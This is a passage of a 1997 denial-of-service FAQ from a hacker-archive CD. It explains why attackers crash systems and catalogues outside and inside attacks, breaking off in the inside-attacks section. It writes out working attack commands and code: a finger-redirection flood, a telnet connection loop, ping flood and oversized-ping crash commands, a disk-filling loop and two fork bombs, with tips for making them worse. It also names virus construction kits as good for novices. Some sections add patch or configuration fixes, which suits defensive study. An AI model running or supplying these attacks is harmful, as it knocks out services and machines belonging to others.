home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / dos101.txt < prev    next >
Text File  |  2001-07-11  |  57KB  |  1,661 lines

  1.  
  2. ------------------------cut here-----------------------------------------
  3. NEW VERSION. BIG UPDATE. READ IT. 
  4. You can find the old version at url:
  5. http://www.student.tdb.uu.se/~t95hhu/secure/denial/old/old.txt
  6. Also take a look at THE DENIAL OF SERVICE PAGE at URL:
  7. http://www.student.tdb.uu.se/~t95hhu/c-war.html....
  8.                 Hans...
  9. ------------------------cut here-----------------------------------------
  10.  
  11.                 ===================================                    
  12.                 =INTRODUCTION TO DENIAL OF SERVICE=
  13.                 ===================================
  14.  
  15. Hans Husman
  16.  
  17. t95hhu@student.tdb.uu.se or
  18. faq_dos@hotmail.com
  19.  
  20. Last updated:Fri Feb 14 11:41:47 MET 1997
  21.  
  22. ======================================================================
  23.  
  24. .0. FOREWORD
  25.  
  26. .A. INTRODUCTION
  27.         .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
  28.         .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
  29.                 .A.2.1. INTRODUCTION
  30.                 .A.2.2. SUB-CULTURAL STATUS
  31.                 .A.2.3. TO GAIN ACCESS
  32.                 .A.2.4. REVENGE
  33.                 .A.2.5. POLITICAL REASONS
  34.                 .A.2.6. ECONOMICAL REASONS
  35.                 .A.2.7. NASTINESS
  36.                 .A.2.8. TO DIVERT ATTENTION
  37.         .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
  38.         .A.4. WHAT HAPPENS THEN A HOST CRASHES?
  39.         .A.5. HOW DO I KNOW IF A HOST IS DEAD?
  40.         .A.6. USING FLOODING WHICH PROTOCOL IS MOST EFFECTIVE?
  41.  
  42. .B. ATTACKING FROM THE OUTSIDE
  43.         .B.1. TAKING ADVANTAGE OF FINGER
  44.         .B.2. UDP AND SUNOS 4.1.3.
  45.         .B.3. FREEZING UP X-WINDOWS
  46.         .B.4. MALICIOUS USE OF UDP SERVICES
  47.         .B.5. ATTACKING WITH LYNX CLIENTS
  48.         .B.6. MALICIOUS USE OF telnet
  49.         .B.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
  50.         .B.8. HOW TO DISABLE ACCOUNTS
  51.         .B.9. LINUX AND TCP TIME, DAYTIME
  52.         .B.10. HOW TO DISABLE SERVICES
  53.         .B.11. PARAGON OS BETA R1.4
  54.         .B.12. NOVELLS NETWARE FTP
  55.         .B.13. ICMP ATTACKS
  56.         .B.14. BROADCAST STORMS
  57.         .B.15. EMAIL BOMBING AND SPAMMING
  58.         .B.16. TIME AND KERBEROS
  59.         .B.17. SUNOS KERNEL PANIC
  60.         .B.18. HOSTILE APPLETS
  61.         .B.19. VIRUS
  62.         .B.20. ANONYMOUS FTP ABUSE
  63.         .B.21. SYN FLOODING
  64.         .B.22. PING FLOODING
  65.         .B.23. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
  66.         .B.24. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
  67.         .B.25. FLEXlm
  68.         .B.26. BOOTING WITH TRIVIAL FTP
  69.         .B.27. ATTACKING USENET
  70.         .B.28. ATTACKING NAME SERVERS
  71.         .B.29. SSH AND PPP
  72.         .B.30. LOGIN VIA SSH
  73.  
  74. .C. ATTACKING FROM THE INSIDE
  75.         .C.1. NOT SO SYSTEM SPECIFIC
  76.                 .C.1.1. CRASHING THE X-SERVER
  77.                 .C.1.2. FILLING UP THE HARD DISK
  78.                 .C.1.3. MALICIOUS USE OF eval
  79.                 .C.1.4. MALICIOUS USE OF fork()
  80.                 .C.1.5. CREATING FILES THAT ARE HARD TO REMOVE
  81.                 .C.1.6. CSH ATTACK
  82.                 .C.1.7. CREATING FILES IN /tmp
  83.                 .C.1.8. USING RESOLV_HOST_CONF
  84.                 .C.1.9. MESSING WITH MEMORY
  85.                 .C.1.10. EXECUTING RANDOM DATA
  86.         .C.2. SUNOS/SOLARIS
  87.                 .C.2.1. SUNOS 4.X. AND BACKGROUND JOBS
  88.                 .C.2.2. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X.
  89.                 .C.2.3. SUNOS KERNEL PANIC WITH tmpfs
  90.                 .C.2.4. SUNOS KERNEL PANIC WITH pathconf()
  91.                 .C.2.5. SUNOS KERNEL PANIC WITH df
  92.                 .C.2.6. SUNOS KERNEL PANIC WITH rmdir
  93.                 .C.2.7. DIRECTORY NAME LOOKUP CACHE
  94.                 .C.2.8. SOLARIS 2.X AND NFS
  95.                 .C.2.9. KERNEL PANIC UNDER SOLARIS 2.3
  96.         .C.3.  HP-UX
  97.                 .C.3.1. NETTUNE AND HP-UX
  98.                 .C.3.2. KERNEL PANIC UNDER HP-UNX 10.1
  99.         .C.4. LINUX, FREEBSD
  100.                 .C.4.1. BLOCKING LOGIN ON RED HAT AND DEBIAN
  101.                 .C.4.2. SYSTEM STABILITY COMPROMISE VIA mount_union
  102.         .C.5. DG/UX
  103.                 .C.5.1. CRASHING DG/UX WITH ulimit
  104.  
  105. .D. CRASHING MICROSOFT WINDOWS
  106.  
  107.         .D.1. FREEZING MICROSOFT STACKS
  108.         .D.2. ISS 2.0 WWW SERVER ON WINDOWS NT
  109.         .D.3. THE DOT DOT BUG
  110.         .D.4. CONSUMING 100% OF CPU TIME ON NT MACHINES
  111.         .D.5. CONSUMING 100% OF CPU TIME ON NT MACHINES II
  112.         .D.6. CONSUMING 100% OF CPU TIME ON NT MACHINES III
  113.         .D.7. WINDOWS NT 4.0 AND THE DNS SERVICE
  114.         .D.8. WINDOWS NT AND LARGE FILE CACHING
  115.         .D.9. CONSUMING 100% OF CPU TIME ON NT MACHINES - SOME MORE PORTS -
  116.  
  117. .E. LINKS THAT DESTROY
  118.  
  119. .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
  120.         .F.1. BASIC SECURITY PROTECTION
  121.                 .F.1.1. INTRODUCTION
  122.                 .F.1.2. SECURITY PATCHES
  123.                 .F.1.3. PORT SCANNING
  124.                 .F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
  125.                 .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
  126.                 .F.1.6. TOOLS THAT HELPS YOU CHECK
  127.                 .F.1.7. EXTRA SECURITY SYSTEMS
  128.                 .F.1.8. ADDING HARDWARE
  129.                 .F.1.9. MONITORING SECURITY
  130.                 .F.1.10. KEEPING UP TO DATE
  131.                 .F.1.11. READ SOMETHING BETTER
  132.         .F.2. MONITORING PERFORMANCE
  133.                 .F.2.1. INTRODUCTION
  134.                 .F.2.2. COMMANDS AND SERVICES                      
  135.                 .F.2.3. PROGRAMS
  136.                 .F.2.4. ACCOUNTING
  137.  
  138. .G. SUGGESTED READING
  139.  
  140. .H. CREDITS
  141.  
  142. .I. COPYRIGHT
  143.  
  144. .J. DISCLAIMER
  145.  
  146. ======================================================================
  147.  
  148. .0. FOREWORD
  149. ~~~~~~~~~~~~
  150.  
  151. In this paper I have tried to answer the following questions:
  152.  
  153.         - What is a denial of service attack?
  154.         - Why would someone crash a system?
  155.         - How can someone crash a system?
  156.         - How do I protect a system against denial of service attacks?
  157.         
  158. I also have a section called SUGGESTED READING were you can find
  159. information about good free information that can give you a deeper
  160. understanding about something.
  161.  
  162. Note that I have a very limited experience with Macintosh, OS/2 and
  163. Windows and most of the material are therefore for Unix use. 
  164.  
  165. You can always find the latest version at the following address:
  166. http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT
  167.  
  168. Feel free to send comments, tips and so on to address:
  169. t95hhu@student.tdb.uu.se
  170.  
  171. .A. INTRODUCTION
  172. ~~~~~~~~~~~~~~~~
  173.  
  174. .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
  175. -----------------------------------------
  176.  
  177. Denial of service is about without permission knocking off
  178. services, for example through crashing the whole system.
  179. Another definition that conform more with this paper is that
  180. denial of service is seeing to that someone don't get what
  181. they paid for. 
  182.  
  183. Denial of service  attacks are easy to launch and it is hard 
  184. to protect a system against them. The basic problem is that Unix
  185. assumes that users on the system or on other systems will be
  186. well behaved. 
  187.  
  188. .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
  189. ---------------------------------------
  190.  
  191. .A.2.1. INTRODUCTION
  192. --------------------
  193.  
  194. Why would someone crash a system? I can think of the following
  195. reasons:
  196.  
  197.         .1. Sub-cultural status.
  198.         .2. To gain access.
  199.         .3. Revenge.
  200.         .4. Political reasons.
  201.         .5. Economical reasons.
  202.         .6. Nastiness.
  203.         .7. To divert attention.
  204.  
  205. I think that number one and six are the more common today, but that
  206. number four and five will be the more common ones in the future.
  207.  
  208. .A.2.2. SUB-CULTURAL STATUS
  209. ---------------------------
  210.  
  211. After all information about syn flooding a bunch of such attacks
  212. were launched around Sweden. The very most of these attacks were
  213. not a part of a IP-spoof attack, it was "only" a denial of service
  214. attack. Why? 
  215.  
  216. I think that hackers attack systems as a sub-cultural pseudo career
  217. and I think that many denial of service attacks, and here in the
  218. example syn flooding, were performed for these reasons. I also think
  219. that many hackers begin their career today with denial of service attacks.
  220.  
  221. .A.2.3. TO GAIN ACCESS
  222. ----------------------
  223.  
  224. Sometimes could a denial of service attack be a part of an attack to
  225. gain access at a system. At the moment I can think of the following 
  226. reasons and specific holes:
  227.  
  228.         .1. Some older X-lock versions could be crashed with a 
  229.         method from the denial of service family leaving the system
  230.         open. Physical access was needed to use the work space after.
  231.  
  232.         .2. Syn flooding could be a part of a IP-spoof attack method.
  233.  
  234.         .3. Some program systems could have holes under the startup, 
  235.         that could be used to gain root, for example some versions
  236.         of SSH (secure shell).
  237.  
  238.         .4. Under an attack it could be usable to crash other machines
  239.         in the network or to deny certain persons the ability to access 
  240.         the system.     
  241.  
  242.         .5. Also could a system being booted sometimes be subverted,
  243.         especially rarp-boots. If we know which port the machine listen
  244.         to under the boot we can send false packets to it and almost 
  245.         totally control the boot.
  246.         
  247.         .6. Crashing a router or firewall can be part of an attack to
  248.         gain access.
  249.  
  250.         
  251. .A.2.4. REVENGE
  252. ---------------
  253.  
  254. A denial of service attack could be a part of a revenge against a user
  255. or an administrator.
  256.  
  257. .A.2.5. POLITICAL REASONS
  258. -------------------------
  259.  
  260. Sooner or later will new or old organizations understand the potential
  261. of destroying computer systems and find tools to do it.
  262.  
  263. For example imaginate the Bank A loaning company B money to build a
  264. factory threating the environment. The organization C therefor crash A:s
  265. computer system, maybe with help from an employee. The attack could cost
  266. A a great deal of money if the timing is right.
  267.  
  268. .A.2.6. ECONOMICAL REASONS
  269. --------------------------
  270.  
  271. Imaginate the small company A moving into a business totally dominated by
  272. company B. A and B customers make the orders by computers and depends
  273. heavily on that the order is done in a specific time (A and B could be
  274. stock trading companies). If A and B can't perform the order the customers
  275. lose money and change company.
  276.  
  277. As a part of a business strategy A pays a computer expert a sum of money to
  278. get him to crash B:s computer systems a number of times. A year later A
  279. is the dominating company.
  280.  
  281. .A.2.7. NASTINESS
  282. -----------------
  283.  
  284. I know a person that found a workstation where the user had forgotten to
  285. logout. He sat down and wrote a program that made a kill -9 -1 at a
  286. random time at least 30 minutes after the login time and placed a call to
  287. the program from the profile file. That is nastiness.
  288.  
  289. .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
  290. ---------------------------------------------
  291.  
  292. This is a hard question to answer and I don't think that it will
  293. give anything to compare different Unix platforms. You can't say that
  294. one Unix is more secure against denial of service, it is all up to the
  295. administrator.
  296.  
  297. A comparison between Windows 95 and NT on one side and Unix on the
  298. other could however be interesting.
  299.  
  300. Unix systems are much more complex and have hundreds of built in programs,
  301. services... This always open up many ways to crash the system from
  302. the inside.
  303.  
  304. In the normal Windows NT and 95 network were is few ways to crash
  305. the system. Although were is methods that always will work.
  306.  
  307. That gives us that no big different between Microsoft and Unix can
  308. be found regarding the inside attacks. But there is a couple of
  309. points left:
  310.  
  311.         - Unix have much more tools and programs to discover an
  312.         attack and monitoring the users. To watch what another user
  313.         are up to under windows is very hard.
  314.  
  315.         - The average Unix administrator probably also have much more
  316.         experience than the average Microsoft administrator.
  317.  
  318. The two last points gives that Unix is more secure against inside
  319. denial of service attacks.
  320.  
  321. A comparison between Microsoft and Unix regarding outside attacks
  322. are much more difficult. However I would like to say that the average
  323. Microsoft system on the Internet are more secure against outside
  324. attacks, because they normally have much less services.
  325.  
  326. .A.4. WHAT HAPPENS THEN A MACHINE CRASHES?
  327. ------------------------------------------
  328.  
  329. Typically will the following happens:
  330.  
  331.         - X-Windows will be aborted.
  332.         - A panic message will be printed on the console.
  333.         - A core file, crash dump or something called something else
  334.         will be written to the disk on the machine or to another
  335.         machine on the network.
  336.         - A reboot attempt will be made.
  337.  
  338. .A.5. HOW DO I KNOW IF A HOST IS DEAD?
  339. --------------------------------------
  340.  
  341. You can use ping. ping sends network packets of type ECHO_REQUEST, which
  342. are a part of ICMP and ICMP is a part of the Internet Protocol. It is
  343. possibly to block echo_request packets but it has most unlikely been done.
  344.  
  345. To use ping:
  346.  
  347. Ex:
  348.  
  349.         $ ping host
  350.         host is alive
  351.  
  352. .A.6. USING FLOODING WHICH PROTOCOL IS MOST EFFECTIVE?
  353. ------------------------------------------------------
  354.  
  355. ICMP and UDP is the most effective, due to the fact that they don't
  356. need to set up a connection like TCP. The synflooding attack is however
  357. a way to go around that problem with TCP (se section .B.22.).
  358.  
  359.  
  360. .B. ATTACKING FROM THE OUTSIDE
  361. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  362.  
  363. .B.1. TAKING ADVANTAGE OF FINGER
  364. --------------------------------
  365.  
  366. Most fingerd installations support redirections to another host.
  367.  
  368. Ex:
  369.  
  370.         $finger @system.two.com@system.one.com
  371.  
  372. finger will in the example go through system.one.com and on to
  373. system.two.com. As far as system.two.com knows it is system.one.com
  374. who is fingering. So this method can be used for hiding, but also
  375. for a very dirty denial of service attack. Lock at this:
  376.  
  377.         $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack
  378.  
  379. All those @ signs will get finger to finger host.we.attack again and
  380. again and again... The effect on host.we.attack is powerful and
  381. the result is high bandwidth, short free memory and a hard disk with
  382. less free space, due to all child processes.
  383.  
  384. The solution is to install a fingerd which don't support redirections,
  385. for example GNU finger. You could also turn the finger service off.
  386.  
  387. .B.2. UDP AND SUNOS 4.1.3.
  388. --------------------------
  389.  
  390. SunOS 4.1.3. is known to boot if a packet with incorrect information
  391. in the header is sent to it. This is the cause if the ip_options
  392. indicate a wrong size of the packet.
  393.  
  394. The solution is to install the proper patch.
  395.  
  396. .B.3. FREEZING UP X-WINDOWS
  397. ---------------------------
  398.  
  399. If a host accepts a telnet session to the X-Windows port (generally
  400. somewhere between 6000 and 6025. In most cases 6000) could that
  401. be used to freeze up the X-Windows system. This can be made with
  402. multiple telnet connections to the port or with a program which
  403. sends multiple XOpenDisplay() to the port.
  404.  
  405. The same thing can happen to Motif or Open Windows.
  406.  
  407. The solution is to deny connections to the X-Windows port.
  408.  
  409. .B.4. MALICIOUS USE OF UDP SERVICES
  410. -----------------------------------
  411.  
  412. It is simple to get UDP services (echo, time, daytime, chargen) to 
  413. loop, due to trivial IP-spoofing. The effect can be high bandwidth 
  414. that causes the network to become useless. In the example the header 
  415. claim that the packet came from 127.0.0.1 (loopback) and the target 
  416. is the echo port at system.we.attack. As far as system.we.attack knows 
  417. is 127.0.0.1 system.we.attack and the loop has been establish. 
  418.  
  419. Ex:
  420.  
  421.         from-IP=127.0.0.1
  422.         to-IP=system.we.attack
  423.         Packet type:UDP
  424.         from UDP port 7
  425.         to UDP port 7
  426.  
  427. Note that the name system.we.attack looks like a DNS-name, but the
  428. target should always be represented by the IP-number.
  429.  
  430. Quoted from proberts@clark.net (Paul D. Robertson) comment on
  431. comp.security.firewalls on matter of "Introduction to denial of service"
  432.  
  433.         " A great deal of systems don't put loopback on the wire, and simply
  434.         emulate it.  Therefore, this attack will only effect that machine 
  435.         in some cases.  It's much better to use the address of a different 
  436.         machine on the same network.  Again, the default services should 
  437.         be disabled in inetd.conf.  Other than some hacks for mainframe IP 
  438.         stacks that don't support ICMP, the echo service isn't used by many 
  439.         legitimate programs, and TCP echo should be used instead of UDP 
  440.         where it is necessary. "
  441.  
  442. .B.5. ATTACKING WITH LYNX CLIENTS
  443. ---------------------------------
  444.  
  445. A World Wide Web server will fork an httpd process as a respond
  446. to a request from a client, typical Netscape or Mosaic. The process
  447. lasts for less than one second and the load will therefore never
  448. show up if someone uses ps. In most causes it is therefore very
  449. safe to launch a denial of service attack that makes use of 
  450. multiple W3 clients, typical lynx clients. But note that the netstat
  451. command can be used to detect the attack (thanks to Paul D. Robertson).
  452.  
  453. Some httpd:s (for example some http-gw) will have problems besides the 
  454. normal high bandwidth, low memory... And the attack can in those causes 
  455. get the server to loop.
  456.  
  457. .B.6. MALICIOUS USE OF telnet
  458. -----------------------------
  459.  
  460. Study this little script:
  461.  
  462. Ex:
  463.  
  464.         while : ; do
  465.         telnet system.we.attack &
  466.         done
  467.  
  468. An attack using this script might eat some bandwidth, but it is
  469. nothing compared to the finger method or most other methods. Well
  470. the point is that some pretty firewalls and httpd:s thinks
  471. that the attack is a loop and turn them self down, until the
  472. administrator sends kill -HUP. 
  473.  
  474. This is a simple high risk vulnerability that should be checked
  475. and if present fixed.
  476.  
  477. .B.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
  478. -----------------------------------------------
  479.  
  480. If the attacker makes a telnet connections to the Solaris 2.4 host and
  481. quits using:
  482.  
  483. Ex:
  484.         
  485.         Control-}
  486.         quit
  487.  
  488. then will inetd keep going "forever". Well a couple of hundred...
  489.  
  490. The solution is to install the proper patch.
  491.  
  492. .B.8. HOW TO DISABLE ACCOUNTS
  493. -----------------------------
  494.  
  495. Some systems disable an account after N number of bad logins, or waits
  496. N seconds. You can use this feature to lock out specific users from
  497. the system.
  498.  
  499. .B.9. LINUX AND TCP TIME, DAYTIME
  500. ----------------------------------
  501.  
  502. Inetd under Linux is known to crash if to many SYN packets sends to
  503. daytime (port 13) and/or time (port 37).
  504.  
  505. The solution is to install the proper patch.
  506.  
  507. .B.10. HOW TO DISABLE SERVICES
  508. ------------------------------
  509.  
  510. Most Unix systems disable a service after that N sessions have been
  511. open in a given time. Well most systems have a reasonable default
  512. (lets say 800 - 1000), but not some SunOS systems that have the
  513. default set to 48...
  514.  
  515. The solutions is to set the number to something reasonable.
  516.  
  517. .B.11. PARAGON OS BETA R1.4
  518. ---------------------------
  519.  
  520. Paragon is Intels supercomputer platform built for high performance
  521. scientific and technical computing. If someone redirects an ICMP 
  522. (Internet Control Message Protocol) packet to a paragon OS beta R1.4 
  523. will the machine freeze up and must be rebooted. An ICMP redirect tells 
  524. the system to override routing tables. Routers use this to tell the host 
  525. that it is sending to the wrong router. 
  526.  
  527. The solution is to install the proper patch.
  528.  
  529. .B.12. NOVELLS NETWARE FTP
  530. --------------------------
  531.  
  532. Novells Netware FTP server is known to get short of memory if multiple
  533. ftp sessions connects to it.
  534.  
  535. .B.13. ICMP ATTACKS
  536. -------------------
  537.  
  538. Gateways uses ICMP redirect to tell the system to override routing
  539. tables, that is telling the system to take a better way. To be able
  540. to misuse ICMP redirection we must know an existing connection
  541. If we have found a connection we can send a route that
  542. loses it connectivity or we could send false messages to the host.  
  543.  
  544. One could also send spoofed ICMP Source Quench messages, this could slow
  545. down the conncection.
  546.  
  547. Ex: (false messages to send)
  548.  
  549.         DESTINATION UNREACHABLE 
  550.         TIME TO LIVE EXCEEDED
  551.         PARAMETER PROBLEM
  552.         PACKET TOO BIG
  553.  
  554. The effect of such messages is a reset of the connection.
  555.  
  556. The solution could be to turn ICMP redirects off, not much proper use
  557. of the service.
  558.  
  559. .B.14. BROADCAST STORMS
  560. -----------------------
  561.  
  562. This is a very popular method in networks there all of the hosts are
  563. acting as gateways. 
  564.  
  565. There are many versions of the attack, but the basic method is to 
  566. send a lot of packets to all hosts in the network with a destination 
  567. that don't exist. Each host will try to forward each packet so 
  568. the packets will bounce around for a long time. And if new packets 
  569. keep coming the network will soon be in trouble.
  570.  
  571. Services that can be misused as tools in this kind of attack is for
  572. example ping, finger and sendmail. But most services can be misused
  573. in some way or another.
  574.  
  575. .B.15. EMAIL BOMBING AND SPAMMING
  576. ---------------------------------
  577.  
  578. In a email bombing attack the attacker will repeatedly send identical
  579. email messages to an address. The effect on the target is high bandwidth,
  580. a hard disk with less space and so on... Email spamming is about sending
  581. mail to all (or rather many) of the users of a system. The point of
  582. using spamming instead of bombing is that some users will try to
  583. send a replay and if the address is false will the mail bounce back. In
  584. that cause have one mail transformed to three mails. The effect on the
  585. bandwidth is obvious.
  586.  
  587. .B.16. TIME AND KERBEROS
  588. ------------------------
  589.  
  590. If not the the source and target machine is closely aligned will the
  591. ticket be rejected, that means that if not the protocol that set the 
  592. time is protected it will be possible to set a kerberos server off
  593. function.
  594.  
  595. .B.17. SUNOS KERNEL PANIC
  596. -------------------------
  597.  
  598. Some SunOS systems (running TIS?) will get a kernel panic if a
  599. getsockopt() is done after that a connection has been reset.
  600.  
  601. .B.18. HOSTILE APPLETS
  602. ----------------------
  603.  
  604. A hostile applet is any applet that attempts to use your system
  605. in an inappropriate manner. The problems in the java language
  606. could be sorted in two main groups:
  607.  
  608.         1) Problems due to bugs.
  609.         2) Problems due to features in the language.
  610.  
  611. In group one we have for example the java bytecode verifier bug, which
  612. makes is possible for an applet to execute any command that the user
  613. can execute. 
  614.  
  615. Note that two other bugs could be found in group one, but they
  616. are both fixed in Netscape 2.01 and JDK 1.0.1.
  617.  
  618. Group two are more interesting and one large problem found is the
  619. fact that java can connect to the ports. Meaning that all the methods
  620. described in .C.X. can be performed by an applet. More information
  621. and examples could be found at address:
  622.         
  623.         http://www.math.gatech.edu/~mladue/HostileArticle.html
  624.  
  625. If you need a high level of security you should use some sort of
  626. firewall for protection against java. As a user you could have
  627. java disable. 
  628.  
  629. .B.19. VIRUS
  630. ------------
  631.  
  632. Computer virus is written for the purpose of spreading and
  633. destroying systems. Virus is still the most common and famous
  634. denial of service attack method.
  635.  
  636. It is a misunderstanding that virus writing is hard. If you know
  637. assembly language and have source code for a couple of virus it
  638. is easy. Several automatic toolkits for virus construction could
  639. also be found, for example:
  640.         
  641.         * Genvir.
  642.         * VCS (Virus Construction Set).
  643.         * VCL (Virus Construction Laboratory).
  644.         * PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
  645.         * IVP (Instant Virus Production Kit).
  646.         * G2 (G Squared).
  647.  
  648. PS-MPC and VCL is known to be the best and can help the novice programmer
  649. to learn how to write virus.
  650.  
  651. An automatic tool called MtE could also be found. MtE will transform
  652. virus to a polymorphic virus. The polymorphic engine of MtE is well
  653. known and should easily be catch by any scanner.
  654.  
  655. .B.20. ANONYMOUS FTP ABUSE
  656. --------------------------
  657.  
  658. If an anonymous FTP archive have a writable area it could be misused
  659. for a denial of service attack similar with with .D.3. That is we can
  660. fill up the file system.
  661.  
  662. Also can a host get temporarily unusable by massive numbers of
  663. FTP requests.
  664.  
  665. .B.21. SYN FLOODING
  666. -------------------
  667.  
  668. Both 2600 and Phrack have posted information about the syn flooding attack.
  669. 2600 have also posted exploit code for the attack. 
  670.  
  671. As we know the syn packet is used in the 3-way handshake. The syn flooding
  672. attack is based on an incomplete handshake. That is the attacker host
  673. will send a flood of syn packet but will not respond with an ACK packet.
  674. The TCP/IP stack will wait a certain amount of time before dropping
  675. the connection, a syn flooding attack will therefore keep the syn_received 
  676. connection queue of the target machine filled.
  677.  
  678. .B.22. PING FLOODING
  679. --------------------
  680.  
  681. The impact of ping flooding is big.
  682.  
  683. Under Unix we could try something like: ping -s host
  684. to send 64 bytes packets. 
  685.  
  686. If you have Windows 95, click the start button, select RUN, then type
  687. in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.
  688.  
  689. .B.23. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
  690. ----------------------------------------------------------
  691.  
  692. If someone can ping your machine from a Windows 95 machine he or she might
  693. reboot, freeze or crash your machine. The attacker simply writes:
  694.  
  695. ping -l 65510 address.to.the.machine
  696.  
  697. And the machine will freeze or reboot.
  698.  
  699. A very good page about the problem and with a long list
  700. of affected systems can be found at address:
  701.  
  702.         http://www.sophist.demon.co.uk/ping/
  703.  
  704. The page is maintained by Mr Mike Bremford.
  705.  
  706. .B.24. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
  707. --------------------------------------------------
  708.  
  709. The subnet mask reply message is used under the reboot, but some
  710. hosts are known to accept the message any time without any check.
  711. If so all communication to or from the host can be turned off.
  712.  
  713. The host should not accept the message any time but under the reboot.
  714.  
  715. .B.25. FLEXlm
  716. -------------
  717.  
  718. Any host running FLEXlm can get the FLEXlm license manager daemon
  719. on any network to shutdown using the FLEXlm lmdown command.
  720.  
  721. # lmdown -c /etc/licence.dat
  722. lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.
  723.  
  724. Shutting down FLEXlm on nodes: xxx
  725. Are you sure? [y/n]: y
  726. Shut down node xxx
  727. #
  728.  
  729. .B.26. BOOTING WITH TRIVIAL FTP
  730. -------------------------------
  731.  
  732. To boot diskless workstations one often use trivial ftp with rarp or
  733. bootp. If not protected an attacker can use tftp to boot the host.
  734.  
  735. .B.27. ATTACKING USENET
  736. -----------------------
  737.  
  738. It can be possible to cancel some ones else's article, destroy
  739. newsgroups and sending false postings to Usenet. Fore more information
  740. about this see the FAQ:alt.2600 question 15.
  741.  
  742. .B.28. ATTACKING NAME SERVERS
  743. -----------------------------
  744.  
  745. The name server is the program that holds the information about the
  746. domain and answers questions. The part of the domain name space that
  747. the name server holds is referred to as a zone.
  748.  
  749. The name server is seldom the only one, it is a to important service.
  750. Instead can at least two be found, the primary master and the secondary
  751. master. However can not to many secondary masters exist (10 ?). The
  752. secondary master provides a backup to the primary.
  753.  
  754. Every time the name server makes a request it collects and store information
  755. and next time if another query is made for the information, it already
  756. have it in the cache.
  757.  
  758. An attack at the name server could have a very big impact. Many servers
  759. depends heavily on proper working name servers, for example: rlogin,
  760. rsh, rcp, xhost, NFS, smtp, ftp...
  761.  
  762. To attack the name server could we of course use any method described in
  763. this paper, but the machine running the name server seldom do anything 
  764. except DNS-work. The DNS-server is also very important and have had
  765. several security problems that are well known. Because of these reasons
  766. will the DNS-server most likely be well protected and other services beside
  767. DNS will probably not exist (although ping flooding could be a threat if
  768. not a firewall that filters ping from the outside exist). The attack that
  769. are left is to attack the service it self at port 53. We could for example:
  770.  
  771.         - Send random garbage to it.
  772.         - Send true queries to it.
  773.         - Use syn flooding.
  774.  
  775. Alternative two should be the most effective one, because it will do every
  776. thing that alternative one do and beside that keep the service program
  777. it self busy looking up DNS-names. Putting together a long random list
  778. with DNS-name will also contain mostly addresses outside the zone, making
  779. the name server to try querying other name servers.
  780.  
  781. .B.29. SSH AND PPP
  782. ------------------
  783.  
  784. If a PPP connection is made via SSH drops, all processes controlled by
  785. it can get zombied out. The processes can not be killed with a kill -9 -1.
  786. To get rid of the zombies kill sshd.
  787.  
  788. .B.30. LOGIN VIA SSH
  789. --------------------
  790.  
  791. Ssh can be used to block login. Force sshd to ask for password  during login.
  792. Connect to the system but do not give the password. Until you have
  793. given the password no one else will be able to login.
  794.  
  795. This is a matter of configuration.
  796.  
  797.  
  798. .C. ATTACKING FROM THE INSIDE
  799. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  800.  
  801. .C.1. NOT SO SYSTEM SPECIFIC
  802. ----------------------------
  803.  
  804. .C.1.1. CRASHING THE X-SERVER
  805. -----------------------------
  806.  
  807. If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
  808. be removed and the x-server will crash.
  809.  
  810. Ex:
  811.  
  812.         $ rm /tmp/.x11-unix/x0
  813.  
  814. .C.1.2. FILLING UP THE HARD DISK
  815. --------------------------------
  816.  
  817. If your hard disk space is not limited by a quota or if you can use
  818. /tmp then it`s possible for you to fill up the file system.
  819.  
  820. Ex:
  821.  
  822.         while : ; 
  823.         mkdir .xxx
  824.         cd .xxx
  825.         done
  826.  
  827. Some old OS will also crash.
  828.  
  829.  
  830. .C.1.3. MALICIOUS USE OF eval
  831. -----------------------------
  832.  
  833. Some older systems will crash if eval '\!\!' is executed in the
  834. C-shell.
  835.  
  836. Ex:
  837.  
  838.         % eval '\!\!'
  839.         
  840. .C.1.4. MALICIOUS USE OF fork()
  841. -------------------------------
  842.  
  843. If someone executes this C++ program the result will result in a crash
  844. on most systems.
  845.  
  846. Ex:
  847.         
  848.         #include <sys/types.h>
  849.         #include <unistd.h>
  850.         #include <iostream.h>
  851.         
  852.         main()
  853.          {
  854.                 int x;
  855.                 for(x=0;x<1000000;x++)
  856.                         {
  857.                                 system("uptime");
  858.                                 fork();
  859.                         }
  860.          }
  861.  
  862. Or why not:
  863.  
  864. Ex:
  865.  
  866.         main()
  867.          {
  868.                 fork();
  869.                 main();
  870.          }
  871.  
  872. You can use any command you want, but uptime is nice
  873. because it shows the workload.
  874.  
  875. To get a bigger and very ugly attack you should however replace uptime
  876. (or fork them both) with sync. This is very bad.
  877.  
  878. If you are real mean you could also fork a child process for
  879. every child process and we will get an exponential increase of
  880. workload. 
  881.  
  882. There is no good way to stop this attack and
  883. similar attacks. A solution could be to place a limit
  884. on time of execution and size of processes.
  885.  
  886. .C.1.5. CREATING FILES THAT ARE HARD TO REMOVE
  887. ----------------------------------------------
  888.  
  889. Well all files can be removed, but here is some ideas:
  890.  
  891. Ex.I.
  892.  
  893.         $ cat > -xxx
  894.         ^C
  895.         $ ls
  896.         -xxx
  897.         $ rm -xxx
